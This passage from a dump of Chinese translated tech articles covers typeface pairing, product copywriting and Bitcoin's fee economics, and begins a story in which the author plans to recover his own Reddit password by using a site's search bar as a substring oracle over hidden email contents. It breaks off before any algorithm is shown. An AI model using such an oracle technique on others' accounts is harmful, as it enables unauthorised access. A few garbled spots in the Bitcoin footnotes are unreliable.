不那么成功的组合 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*ZXfqTYMbL8opowuQjBHTAg.png\">\n\n### 结语 ###\n\n字体组合是字体排印中的一个重要组成部分。我希望通过阅读本文，可以让你了解到对比即是成功的字体组合的评价标准，以及如何更为有效的将字体进行组合。祝在字体组合这上头玩得开心！\n\nThis article was originally published at [http://www.simon-li.com/design-and-code/the-secret-of-nice-typeface-combinations/](http://www.simon-li.com/design-and-code/the-secret-of-successful-typeface-combinations/).\n\n**喜欢本文？如果是，请点击下方的 ♡ 并分享给你的好友。这对我来说意义重大。你也可以关注我的** [**Twitter**](https://twitter.com/simonlidesign)  **或者 Medium。**\n\n### 更多字体相关 ###\n\n想要了解更多字体相关？请查看我的个人主页 [other typography articles](https://medium.com/@simonlidesign)。\n\n### 小调查 ###\n\n**对你来说字体排印中最难的是什么？** 填写这份 [简短的调查](https://docs.google.com/forms/d/e/1FAIpQLSfR4XcAyyg_9qeQBxNUMoXkf1Bm5eXu6p2XgGCG268NE9AoZw/viewform)  并告知我们。这会帮我为你创作最棒的字体排印相关内容。\n"
  },
  {
    "path": "TODO/the-secret-to-writing-killer-product-copy.md",
    "content": "> * 原文链接 : [The Secret To Writing Killer Product Copy](https://mng.lincolnwdaniel.com/the-secret-to-writing-killer-product-copy-4f23b7d0c842#.cdbnonpna)\n* 原文作者 ：[Dave Gerhardt](https://medium.com/@davegerhardt)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [joyking7](https://github.com/joyking7)\n* 校对者 : [devSC](https://github.com/devSC)、[L9m](https://github.com/L9m)\n\n\n# 产品文案要说人话\n\n\n自从 Web 2.0 以来，许多改变让商业世界变得更美好，但我们创作和销售的产品文案的方式，仍然停留在上世纪90年代中期。\n\n我对这种情况有两点思考，其中一点比另一点更令人深思。\n\n#### 绝大多数人不是很优秀的文案作者\n\n对很多人来说，写作是一项残酷的运动。它很无趣，对于这些人来说，为了写作而耗费了大量时间，但结果也并非总是好的。\n\n其实还好。\n\n如果一个团队由具有同样技能的人组成会有什么好处呢？就我个人来说，我刚提到大多数人对于写作的感觉就像我对于用 Excel 处理大量数据的感觉。\n\n#### **营销人员痴迷在技术上**\n\n这是令人深思的一点。\n\n我们陷入技术中，因为所有人都想要“创造新事物”或变“数据驱动”，业务中最重要的技能之一的写作却排到了后面。\n\n但是这里有个需要注意的事情。\n\n**你不需要成为一个专业的写手** (请读两遍).\n\n我根本不认为自己是个写手。\n\n我写的很多东西也许会被英文专业或者以 AP (Associated Press)，即美联社写作风格)风格为指导的人*撕掉*。\n\n现今，作为一个营销人员来说，最被忽视的（我认为重要）能力就是文案写作。\n\n> “这里有个简单的技巧，能够让更多的人阅读你写的东西：用口语话来写。” — [Paul Graham](https://medium.com/u/1753cee1bce5)\n\n> “让商务写作更好的最简单的方法就是：不要采用商务写作风格。” — [Seth Godin](https://medium.com/u/f9ac9806e153)\n\n> “让真正的读者紧跟我们的思想。同时，我们要尽可能的把我们的信息传递的清楚。” — [Ali Mese](https://medium.com/u/d43c46db5b92)\n\n### 客户驱动(Customer-Driven)的文案策划\n\n在这篇[文章](http://blog.drift.com/)中，我们称之其为客户驱动文案策划。\n\n我们正在发送的邮件无论是登陆页面文案还是产品内部的说明文字都无妨，所有我们写的东西必须按照我们客户理解和关心的方式来写。\n\n![](https://cdn-images-1.medium.com/max/800/1*z8qq6Ibom4R_M7xg89lusg.png)\n\n**我们总是尝试并问自己这些问题：**\n\n_为什么会有人不在乎我的文案?_\n\n_对于客户来说读我的文案他会获得什么信息?_\n\n_这是你怎样在一杯咖啡的时间把文案内容描述给一位朋友？或者你在酒吧走到一个陌生人面前去讲述它。_\n\n这是注册 Drift.com 的一封欢迎邮件。很简单，它就好像你实际生活中会对一个人说的那样：\n\n![](https://cdn-images-1.medium.com/max/800/1*P2hpXwAJCDMQe-md9nEang.png)\n\n[Segment](https://segment.com/) 是一个为工程师创造的工具。如果他们可以为每个很有技术含量的产品写出这样出色的文案，那么你也可以：\n\n![](https://cdn-images-1.medium.com/max/800/1*PD8XfjXbB2SHTNFVUVA3Iw.png)\n\n[Stripe](https://stripe.com/) 也是一样，为开发者创造，但有的东西我妈妈都能懂。当然，她不会知道“一套统一 API ”是什么意思，但是 Stripe 做的很好的部分是如果你删除第一行信息，它的意思仍然清楚。\n\n![](https://cdn-images-1.medium.com/max/800/1*oOzb3Ldce8uu1hll-sBqmg.png)\n\n[PillPack](https://www.pillpack.com/) 是一个可以派送处方药上门的在线药店。虽然这会使他们的业务陷入混杂的状况，但是他们保持事情简单、干净和清楚。\n\n要记住作为营销者的关键是，你的工作并不是在某个人第一次访问你的网站时，把你的整个想法都灌输给他。你的目标应该总是让他足够感兴趣再进行下一步。PillPack 就是这样提供更好更简单的用户体验 － 绝大多数人不会从一家药店得到的体验。\n\n![](https://cdn-images-1.medium.com/max/800/1*TvJkUD1Yh4el6OpIHZbuaA.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*oBhqDdpheneEEZGP53rsug.png)\n\n### 探寻客户驱动文案的灵感\n\n我将分享一个小秘密来帮助你完成下一篇博客、邮件、登陆页等等。\n\n**你的客户在互联网上用_他们自己的话_写东西**\n\n你可以跳出思维定式并_找到_那些在你文案中使用的信息，即使你不是一个好的写手，而不是试图猜测客户的想法或者盯着一片空白的屏幕自己思考“客户会说些什么呢？”。\n\n这里还有一些需要注意的地方。\n\n#### 记录客户的发展情况\n\n加强与你的产品经理、设计者、销售代表还有任何每天与客户交流的人之间的联系。如果他们很擅长他们的工作，他们会有很多用户所直接谈及的笔记。使用这些笔记写出用客户自己的话来说的文案策划。为什么要强行增加工作难度呢？就用他们说话的方式来描述它就好。\n\n#### Quora\n\n我曾经花了很多时间逛 Quora 。它是一种难以置信的资源，因为它的机制很棒：一个人来到问答页面来问提问关于某件事的问题。自己思考它是一回事，跑去 Quora 问个问题是另外一回事。\n\n我们有一个帮助计算自己应用内部 NPS (Net Promoter Score，即净推荐值，又称净促进者得分) 的工具，所以我曾花了很多时间试图查明人们如何用自己的话来谈论 NPS 。\n\nQuora 像一个知识宝库并且这里有很多评论来帮助 [完成这篇关于 NPS 的文章] (http://blog.drift.com/how-to-measure-nps)。\n\n![](https://cdn-images-1.medium.com/max/800/1*6IE0XgdoE_5kHqVsJstQHw.png)\n\n<figcaption>[https://www.quora.com/How-can-I-increase-the-response-rate-of-Net-Promoter-Score](https://www.quora.com/How-can-I-increase-the-response-rate-of-Net-Promoter-Score)</figcaption>\n\n![](https://cdn-images-1.medium.com/max/800/1*H53Xv24OI2rdMr5teK08kQ.png)\n\n#### Product Hunt\n\n现在少有全新的想法或者产品了。你可以把它变成你的优势。[Product Hunt](https://medium.com/u/b8b4445269d0) 的评论是文案优秀的资源库。\n\nProduct Hunt 最棒的地方就是它的社区十分活跃，所以这里经常有许多来自特定产品用户的评论。\n\n我们最近发布了一款[免费工具](http://www.drift.com/daily)，它会向你展示你的 VIP 潜在客户是谁(你会收到每日邮件或者 Slack 通知)，于是我在 Product Hunt 的搜索框中搜索了一下，然后发现了几个之前也做过类似工具的创业公司，但是他们做完这个就倒闭了。\n\n这些评论将会对写关于一个新的免费应用的文案有巨大帮助：\n\n![](https://cdn-images-1.medium.com/max/800/1*vUiPtTBI5nIhIzS0DWLk2Q.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*53Uv1idisFryFun56nBuFg.png)\n\n#### 社交媒体\n\n撤销推特很容易。他们很不错，我们很虚荣，看到人们分享关于你产品的推特很有趣。但是尝试进一步考虑 － 他们说了什么？他们如何说这些？\n\n绝大多数人会用推特做这两件事：\n\n*   用自己的话重写推特，让推特看起来比较正常\n*   用自己的话重写推特，让它刚好符合 140 词的要求\n\n当然，你可以把关于你自己产品的推特作为文案的灵感。它们就是用客户自己的话来描述事物。\n\n举个例子: new leads with context. That's not a message we led with for Drift, but it's a great message!\n\n#### Amazon 的评论\n\n你有没有注意过人们如何在亚马逊上为产品写评论？每种产品 － 从书到鞋子再到洗发剂。\n\n在亚马逊上搜索与你工作相关的东西，找到一款产品，仔细挖掘其中认真评价并且有意义的评论－直接来自你的潜在用户。\n\n即使其中没有你想要打造的一款产品，仍然有很多其他办法找到评论。\n\n你现在正在搭建一个崭新的电商销售平台吗？亚马逊上可没有关于电商销售平台的评论，但是它_有_销售市场类书的评论。\n\n_向写了《Copy Hackers》这本书的_ [_Joanna Wiebe_](https://medium.com/u/58a844d8d962) _致敬。_ _如果你感兴趣，你应该读一读_[_她所有关于如何做文案的部分_](https://copyhackers.com/2014/10/amazon-review-mining/)_。_\n\n你去哪里寻找点子都没关系，但是要知道，重点是关于文案的好点子到都是。有时候我们只需要跳出自己的思维定式来寻找它们。\n\n客户驱动的文案策划就是这样。\n"
  },
  {
    "path": "TODO/the-three-economic-eras-of-bitcoin.md",
    "content": "> * 原文地址：[The Three Economic Eras of Bitcoin](https://medium.com/@rusty_lightning/the-three-economic-eras-of-bitcoin-d43bf0cf058a)\n> * 原文作者：[Rusty Russell](https://medium.com/@rusty_lightning?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-three-economic-eras-of-bitcoin.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-three-economic-eras-of-bitcoin.md)\n> * 译者：[ppp-man](https://github.com/ppp-man)\n> * 校对者：[llp0574](https://github.com/llp0574), [SeanW20](https://github.com/SeanW20)\n\n# 比特币的三个经济阶段\n\n比特币生态系统会何去何从其实就写在了其共识规则里的数学知识中。我们都应该知道它将会经历的三个阶段。\n\n第一个阶段：中本聪的免费赠送（2009–2014）\n\n在比特币早期，币的价值模糊且难以衡量。需求小而且你甚至可以免费（主要指矿工费）发送任意数量的币。没有真正的堵塞问题，因此也没有软件和商业计划的需要：广为人知的博彩服务“中本聪骰子”（译者注：SatoshiDice，一种基于区块链技术的博彩游戏）使用无限容量的区块链作为信号层，给赌输的一方发送一聪（比特币最小单位）的比特币。这可都是免费的钱！\n\n比特币曾是陌生又难懂的科技。理解其组成部分的相互作用已经够费力了，揣测其对未来的意义更是困难。有几个因素让这种情况更为糟糕：\n\n1. 匿名性和缺乏管制吸引了很多骗子。其影响引起许多用户的不信任还有导致真实信息难以渗透。\n2. 区块链体系的成功吸引了那些想复制其模式（通常只是为了赚钱），却没有多少相关知识的人。_[1]_\n3. 早期用户不仅喜欢结伴成群，而且进入比特币圈子都是被各自的经济利益驱使。由此产生的积极支持意味着任何负面信息都很难渗透到更广的生态系统。\n\n这导致人们错误以为“免费”就是比特币的一个特点。开发者们**曾**清楚这点，因此就有了一些参考设定去减少机制的滥用。这些设定规则并没有改变比特币，而是改变了用户行为：他们添加最低收费_[2]_, 停止转发小额付款_[3]_, 并改进代码来减小未发送交易占用的大小_[4]_。\n\n#### 第二个阶段：中本聪的福利（我们正处于的阶段）\n\n> “比特币的手续费可能更高，并且向新的经济政策转变。”\n\n> — Jeff Garzik [https://medium.com/@jgarzik/bitcoin-is-being-hot-wired-for-settlement-a5beb1df223a](https://medium.com/@jgarzik/bitcoin-is-being-hot-wired-for-settlement-a5beb1df223a)\n\n区块生成的爆发性和比特币市场的不稳定开始逐渐产生容量问题。这些问题曾被挖矿者通过优化代码和调整设定来解决，如今它们变得更为常见和严重，使得人们意识到第一个阶段已经岌岌可危。\n\n不可避免，很多人想延长免手续费的阶段。但没有弹性收费的软件服务，以及苛刻的费用条件本身增加了这个目标的难度，因为要可靠地为用户估算交易加入下一个区块的费用是难中之难。_[5]_\n\n开发者不想支持单纯增加费用通常源于几个因素：\n\n1. 过去的加价增加了中心化的压力，这包括有一段时间过半数的网络是被同一个矿池支配着。_[6]_\n2. 这会是比特币有史以来首个向后不兼容的改变。\n3. 一次性增加费用冒着不道德的风险，因为对扩张的宣传被认为比改善工程简单且不费钱。\n4. 尽管在预料之中，软件和服务却都没有为此转变做准备。也许是因为没有谁觉得这次转变真的会发生。_[7]_\n5. 开发者一般希望跟随社区的步伐而不是带领。在经济上具有重大意义或有争议的变化，加大了这种依赖性。_[8]_\n6. 大而复杂的系统转变需要尽可能地循序渐进以避免意料外的副作用。第三阶段到来的同时，第二阶段提供的渐变给予了比特币相关的软件和服务足够时间来积累经验，迎接新阶段的来临。\n\n开发者采取几种方式改善堵塞的问题。其中之一是大范围地深度优化_[9]_已满负荷运行的网络。全球网路中的节点分程传递_[11]_和新策略_[12]_改善了区块增长的问题。费用估算算法变得越来越深奥_[13]_，包括通过增加费用取代交易_[14]_和接收者协助交易_[15]_。\n\n尽管害怕大区块会中心化，加入区块的扩张_[16]_会最终使网路流量增加一倍，而软件也为此不停更新。许多努力投入到增加区块的交易量_[17]_以达到增加流量的同时保持去中心化。\n\n毫不意外，这些努力不足以延续第一阶段。比特币作为可支付网络经常因为区块处理不稳定而使时间缓慢所以变得使用困难：$20 以下的交易无法通过。在第一阶段形成的公司和普通用户仍然关注他们在第一阶段的积累同时请求财政帮助。这时一个巨大的挖矿垄断已经形成而且加入寻找的行列。_[18]_\n\n虽然这些尝试失败了，但值得注意的是，当某些希望延续第一阶段的人认为可以避免第三阶段的时候，_[19]_，还有许多人干脆就觉得**现在**不应该发生变化。说服力最强的观点是变化会不利于用户采用，也影响币的有用性和规范性。不幸的是这观点一直很强势而且囊括到上面列举的问题。\n\n毋庸置疑增加交易的负荷量最终减少支付费用的负担，这也是第二阶段发展计划的主要动力。_[20]_\n\n#### 第三阶段：自给自足（2028？以后）\n\n> “当一批特定数量的货币在市场上流通，奖励可以完全用交易费用代替并且实现无通胀。”\n\n> — 中本聪，比特币：一个点对点的电子现金系统\n\n一旦“免费货币”引导的阶段结束，比特币系统进入自给自足的阶段，由用户承担保护系统免于双重支付（每年数十亿美元_[21]_）的费用。通过每四年把区块奖励减半逐渐进入下个阶段。_[22]_\n\n目前的水平表明手续费将在 2024 年和区块奖励相当，并在 2028 年开始高于奖励。_[23]_\n\n成立于第一阶段而在第二阶段蓬勃发展的面向用户的商户会发现第三阶段无比艰难。一个自称处理 25% 交易量的商户需要支付 7 亿美元保障与现在同等级的网路_[24]_。然而没有一个商家告诉他们的投资者这个潜在的费用或需要比特币大幅增值来支付这笔钱_[26]_，也没有谁计划减少他们的份额_[25]_。\n\n矿工也不会觉得第三阶段容易。与用户直接对接的他们会发现这段关系因为费用水平越发紧张，收入空间被大商户和用户群挤压。矿工在收入压力下的一体化也许会导致中心化的加剧，但这中心化也可能因为商户直接投资到挖矿而抵消。_[27]_\n\n#### 第三阶段会以内战开始\n\n这似乎是难以避免的：处理大量交易的矿工和商户会决定（重新）引入通货膨胀。这能为大商户转移成本，对矿工来说则是“无本之财”。论据则跟第二阶段早期的纽约协议相似但更仔细更广泛，主要论据包括：\n\n1. 比特币创始人并不是经济学家，而经济学家建议大约1%的通胀鼓励消费。_[28]_\n2. 支撑系统的负担不仅落在使用比特币的用户上，还有大量持有比特币的人身上。\n\n反方论据则有：\n\n1. 两千一百万的比特币数量限额是比特币成功的关键，\n2. 系统创始人故意避开通货膨胀把比特币塑造成储存价值的工具而不是辅助的支付方式，而且\n3.  现在改变规则等同于从早期用户身上偷窃（尤其但不全是那些匿名创始人）。\n\n主要的阻力来自开发者们自己（认为这个上限是不可商讨的_[30]_）和长期比特币持有者。商户则两极分化：那些支持后者的人（保险，金库）会反对改变，而另外那些处理大量交易的人（交易所，钱包供应商）则会赞同。\n\n尽管这次危机是完全能够根据第一原则预测而且埋藏在比特币的基石中，它仍可能产生意想不到的结果。即使比特币的供应是受限制的_[31]_，其戏剧性却是无穷的_[32]_。\n\n_披露:_ [_作者持有比特币而且为Blockstream工作。_](https://medium.com/@rusty_lightning/disclosure-cryptocurrency-interests-4c2d16c72c9d)\n\n* * *\n\n#### 脚注和额外阅读材料\n\n[1] 关于建立加密货币的复杂性在这里有详细介绍[https://download.wpsoftware.net/bitcoin/alts.pdf](https://download.wpsoftware.net/bitcoin/alts.pdf)\n\n[2] 默认的“mintxfee”：支付该费用以下的交易不会被节点接受；这能减少来自小额交易的垃圾信息。有个例外，花费旧比特币的交易则能豁免这个限制（被称之为“优先交易”）因为它本质上是有限资源。[https://en.bitcoin.it/wiki/Transaction_fees#Settings](https://en.bitcoin.it/wiki/Transaction_fees#Settings)\n\n[3] 默认的“dust limit”：在这限额以下的小额付款不回呗节点接受；这避免产生因经济影响过小而没人使用的小额款项。比特币的这个限制具有争议性并在这里有更多讨论[https://bitcointalk.org/index.php?topic=196138.0](https://bitcointalk.org/index.php?topic=196138.0)。困惑还陆续而来。\n\n[4] Pay-to-script-hash 把“我需要什么证明我花费了这个比特币”这句对白给了花费者。在这之前，整个网络要记得花费每个币的特定的要求（也花费很多时间）。 [https://en.bitcoin.it/wiki/Pay_to_script_hash](https://en.bitcoin.it/wiki/Pay_to_script_hash)\n\n[5] 费用取决于交易的大小而不是交易金额的大小。这类似于根据重量收钱的快递：寄 1000 个一美分将会比寄100美元纸币贵。虽然很有道理，但对于不知道自己拿的是纸币还是硬币的人来说还是不好估计。\n\n[6] 近来区块的默认大小增加到 75 万字节[https://blockchain.info/charts/avg-block-size?timespan=all](https://blockchain.info/charts/avg-block-size?timespan=all)。矿工抱怨他们的“孤儿率”在增加：区块连不上整个区块链因为他们到达其他矿工所需的时间太长。对大的矿工这个问题并不大，而且他们也更可能找到下个区块。这似乎是驱动Ghash.io成长的原因：在最大的矿工群里孤儿率是最低的。[https://www.coindesk.com/bitcoin-mining-detente-ghash-io-51-issue/](https://www.coindesk.com/bitcoin-mining-detente-ghash-io-51-issue/)\n\n[7] 2017 年 11 月，尽管Segregated Witness这项技术早在2015年年底完成，blockchain.info和Coinbase（两个都拥有大交易容量）都没有采用该项技术。\n\n[8] 这个趋势在匿名创始人中本聪离开计划的时候开始。\n\n[9] 不幸的是增长总是跟着优化，意味着新节点于网络同步的速度并不会比前几年快。_[10]_. [https://bitcoincore.org/en/2017/03/13/performance-optimizations-1/](https://bitcoincore.org/en/2017/03/13/performance-optimizations-1/)\n\n[10] 把旧节点同步到新的网络上事实上是困难的，但小修整后还是可以做到的。然而在快的机器上也需要大概30秒处理一个区块。 [https://medium.com/provoost-on-crypto/historical-bitcoin-core-client-performance-c5f16e1f8ccb#874c](https://medium.com/provoost-on-crypto/historical-bitcoin-core-client-performance-c5f16e1f8ccb#874c)\n\n[11] Matt Corallo 同时发布代码让你运行自己的高效中继网络和运行他自己的。 [http://bitcoinfibre.org/](http://bitcoinfibre.org/)\n\n[12] 因为区块里的大部分交易都已经被看见，节点通过发送概要省下许多时间和带宽。事实上，现在平均的区块增长速度比交易增长快。[https://bitcoincore.org/en/2016/06/07/compact-blocks-faq/](https://bitcoincore.org/en/2016/06/07/compact-blocks-faq/)\n\n[13] 一篇关于演变中的技巧和挑战的好概要：[https://blog.bitgo.com/the-challenges-of-bitcoin-transaction-fee-estimation-e47a64a61c72](https://blog.bitgo.com/the-challenges-of-bitcoin-transaction-fee-estimation-e47a64a61c72)\n\n[14] 比特币起初支持用序列码升级还没到达区块的交易，但因为这允许客户交易挤爆网络而被取消。费用替代保留了这个功能，但需要在费用飙升的情况下。[https://bitcoincore.org/en/faq/optin_rbf/](https://bitcoincore.org/en/faq/optin_rbf/)\n\n[15] 软件也在考虑让使用手续费的人承担部分费用而不是单让交易人支付。这样的话把两者划分在同一个区块也许有其价值：所谓的“子还父债”。[https://bitcoincore.org/en/faq/optin_rbf/#what-is-child-pays-for-parent-cpfp](https://bitcoincore.org/en/faq/optin_rbf/#what-is-child-pays-for-parent-cpfp)\n\n[16] 隔离见证把交易签名转移到区块的其他地方。新颖的地方在于该设计中记录签名的个数仿佛这些签名只有四分之一多。如果现有的交易所有人都用这种交易，这意味着区块大小会平均在 2MB 的大小。[https://bitcoincore.org/en/2016/01/26/segwit-benefits/](https://bitcoincore.org/en/2016/01/26/segwit-benefits/)\n\n[17] 虽然每个交易需要时间核对，但低配置的CPU也足以处理这种运算：主要限制是网络带宽还有长期的储存需求。[https://bitcoincore.org/en/2016/06/24/segwit-next-steps/#schnorr-signatures](https://bitcoinco\ndff\n[18] 数字货币集团（Digital Currency Group）的纽约协议的是通过很大的努力才能达成的。[https://medium.com/@DCGco/bitcoin-scaling-agreement-at-consensus-2017-133521fe9a77](https://medium.com/@DCGco/bitcoin-scaling-agreement-at-consensus-2017-133521fe9a77)\n\n[19] “也许其他人会支付”而不是比特币用户这种说法是站不住脚的，因为这世上没有免费的午餐。[https://medium.com/@octskyward/hashing-7d04a887acc8](https://medium.com/@octskyward/hashing-7d04a887acc8)\n\n[20] 根据现在的水平和 1c 的手续费，要支撑网络的话需要每个区块一百万个交易或是 225MB 的区块大小（中位交易大小）。以现在的区块大小则需要 20 美元交易费用。\n\n[21] 每年 52,560 个区块，12.5 个比特币资助，还有每个区块两个比特币的费用，假设每个比特币八千每月，总共是六十亿美元。\n\n[22] 每 210,000 个区块产生就会发生“折半”。比特币在 2009 年一月开始以 50BTC 作为报酬演变成 2012 年十一月的 25BTC，到再之后 2016 年七月的 12.5 个。你可以浏览下面的链接追踪这兴奋的变化。[http://www.thehalvening.com/](http://www.thehalvening.com/)\n\n[23] 这假定每个区块 3BTC，稍微高于现平均水平，约等于这图表里 450BTC 一天：[https://blockchain.info/charts/transaction-fees?timespan=all#](https://blockchain.info/charts/transaction-fees?timespan=all#)\n\n[24] 这只假设以美元计算矿工的收入与现在一样，其中一半来自手续费。\n\n[25] 现在流行的却是：公司集资吹嘘自己在网络里有多少交易和多少份额。\n\n[26] 如果比特币的价格大幅上升，那么矿工也许能接受小额手续费。然而如果你的公司要依靠比特币升值才能存活，那么投资者为什么不直接投资到比特币上呢？\n\n[27] 在垄断挖矿机构能敲诈比特币商户的前提下（通过筛选交易），投资到挖矿和其分散式扩张能让对手难以针对某一商户。虽然两者仍未发生，但这做法有一定的意义。\n\n[28] [https://en.wikipedia.org/wiki/Inflation#Positive](https://en.wikipedia.org/wiki/Inflation#Positive)\n\n[30] [https://en.bitcoin.it/wiki/Prohibited_changes](https://en.bitcoin.it/wiki/Prohibited_changes)\n\n[31] 我也会反对这种提议并且相信这是不可行的。但我深信有人会提出而且积极宣传。\n\n[32] 特别注意：如果类似 Pieter Wuille 每年 17% 增长被采用了，在某个时刻容量会过剩甚至把费用减少到零而影响链的安全性。开发者理应提议一种在非繁忙时段采用最低收费的软分叉，而且和矿工一同抵抗短期用户和商户。\n\n[33] 区块大小跟随科技进步[https://gist.github.com/sipa/c65665fc360ca7a176a6](https://gist.github.com/sipa/c65665fc360ca7a176a6)\n\n[34] 例如 Mark Friedenbach 的 flexcap 提议，在忽略资助的情况下是最容易实现的。[https://scalingbitcoin.org/transcript/hongkong2015/a-flexible-limit-trading-subsidy-for-larger-blocks](https://scalingbitcoin.org/transcript/hongkong2015/a-flexible-limit-tra6  ding-subsidy-for-larger-blocks)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-time-i-had-to-crack-my-own-reddit-password.md",
    "content": "> * 原文地址：[That time I had to crack my own Reddit password](https://medium.freecodecamp.com/the-time-i-had-to-crack-my-own-reddit-password-a6077c0a13b4)\n> * 原文作者：本文已获原作者 [Haseeb Qureshi](https://medium.freecodecamp.com/@hosseeb) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[cdpath](https://github.com/cdpath)\n> * 校对者：[atuooo (oOatuo)](https://github.com/atuooo), [yzgyyang (Guangyuan (Charlie) Yang)](https://github.com/yzgyyang)\n\n# 我是如何找回 Reddit 密码的\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*ZAFlM8eSiuGVRo9P-8L6MQ.jpeg\">\n\n黑掉整个星球，伙计们！\n\n我真是一点自制力都没有。\n\n好在我对这一点颇有自知之明。我有意识地筹划生活，所以尽管我跟海洛因上瘾的小白鼠一样不成熟，偶尔还是可以搞定一些事情。\n\n![](https://media.giphy.com/media/gOH54eiriYIwM/giphy.gif) \n\n\n嗯，简直是浪费时间！\n\n我逛 Reddit 浪费了很多时间。如果我想拖延点事情的话，常常会开一个新标签页然后一头扎进 Reddit。但是有时我又得心无旁骛，减少干扰。比如 2015 年 —— 我专注于提升自己的编程水平，而在 Reddit 闲逛就成了负担。\n\n我要搞个计划控制我自己。\n\n于是我就想：让自己登陆不了账号咋样？\n\n**我是这样做的：**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*8Zpw3ipnu92ehqA_6T-o8w.gif\">\n\n我给账号重设了随机密码。叫朋友在某天把密码用 email 发给我。这样就可以万无一失地让自己上不了 Reddit 啦。（出于周全的考虑我还修改了找回密码用的邮箱）。\n\n本应有效，不过......\n\n不幸的是，事实上朋友根本扛不住社会工程学。换句话说，他们「对你太好了」，如果你「求」他们要密码，他们还是会发给你。\n\n![](https://media.giphy.com/media/uB6rsQFg5yPzW/giphy.gif) \n\n不要这样子看我。\n\n失败了几次后，我得找个更可靠的办法。谷歌搜索了一会儿，我发现了这个：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*iMtDCzvNYVF9UOeiIbU7Ww.png\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*7QCLp-4HnnDwgj1FSnRstw.png\">\n\n看上去不错。\n\n完美！一个自动化且不需要朋友介入的方案！（我现在要疏远大部分朋友，所以这一点很重要。）\n\n看上去并不完善，不过管他呢，有个办法就不错了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*TOUIDOIRHiVySUWt46n3mw.gif\">\n\n我这样坚持了一阵子：在工作日把密码 email 给自己，周末收到密码，在互联网垃圾信息中浪费时间，待下周开始就再锁掉账号。我印象中这一套效果不错。\n\n终于有一天写代码实在太忙了，我完全忘了这一回事。\n\n### 一转就是两年后\n\n我现在在 Airbnb 工作，薪酬颇丰。而且 Airbnb 刚巧有个巨大的测试组件。也就是说等待时间颇多，而等待就意味着可以上网摸鱼。\n\n我决定讨回旧账号并找回 Reddit 密码。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*sAr_MYJtJVkNq6uHiVQxtQ.gif\">\n\n哦，不。这可不好。\n\n我不记得我做过这一切，不过我当时肯定是太生自己的气了，都把自己锁到了 2018 年之后了。我还把邮件内容隐藏了，所以除非等到邮件发出去，我根本看不到内容。\n\n我该怎么办？只能新建一个 Reddit 账号然后从头开始吗？但是这样好麻烦啊。\n\n我完全可以给 LetterMeLater 发邮件解释自己并不是真的想这么做。但是他们回信可能要好一会儿呢。而且你们都知道了，我是个急性子。这个网站看上去也不像是有客服团队的样子。更不要提写这种邮件有多尴尬了。我开始头脑风暴精心编造理由甚至扯到了去世的亲人，试图解释为什么需要看自己的邮件。\n\n所有的选择都不怎么靠谱。那天晚上，从公司走到家一路上我都在思考自己的尴尬处境，突然就有灵感了。\n\n**搜索栏**\n\n我用手机打开浏览器 App 开始尝试：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*DvLUtm_ZGOaTGKy1bOuyYQ.gif\">\n\n嗯。\n\n好吧。所以（邮件）标题肯定是有索引的。那（邮件）内容呢？\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*esw6gkV0G-M1JKaPAqipLA.gif\">\n\n试了几个字母，果然没错。内容也是有索引的。记住：邮件内容里面有我的密码。\n\n**本质上这是一个执行子字符串检索的界面**。通过在搜索栏输入字符串，搜索结果会告诉我密码中是否有我输入的子字符串。\n\n**万事俱备。**\n\n我赶回自己的公寓，放下包，取出笔记本电脑。\n\n算法问题：已知函数 `substring?(str)`，它会根据输入的密码是否包含任何已知的子字符串来返回 True 或 False。给定这个函数，写一个可以推导出隐含密码的算法。\n\n### 算法\n\n让我们好好想想。我记得我的密码有这些特征：随机字符组成的长字符串，就像这样子 `asgoihej2409g`。我很可能没有用任何大写字母（Reddit 并不要求密码中一定有大写字母），那么先假设我没用大写字母。如果我真用了大写字母，第一次尝试失败之后再将搜索范围扩大吧。\n\n还有一个标题行，是检索的字符串的一部分。而且邮件标题就是 \"password\"。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*XvaVCyWtSdqKSz59HKnNDw.png\">\n\n假设密码长度为 6，就有了 6 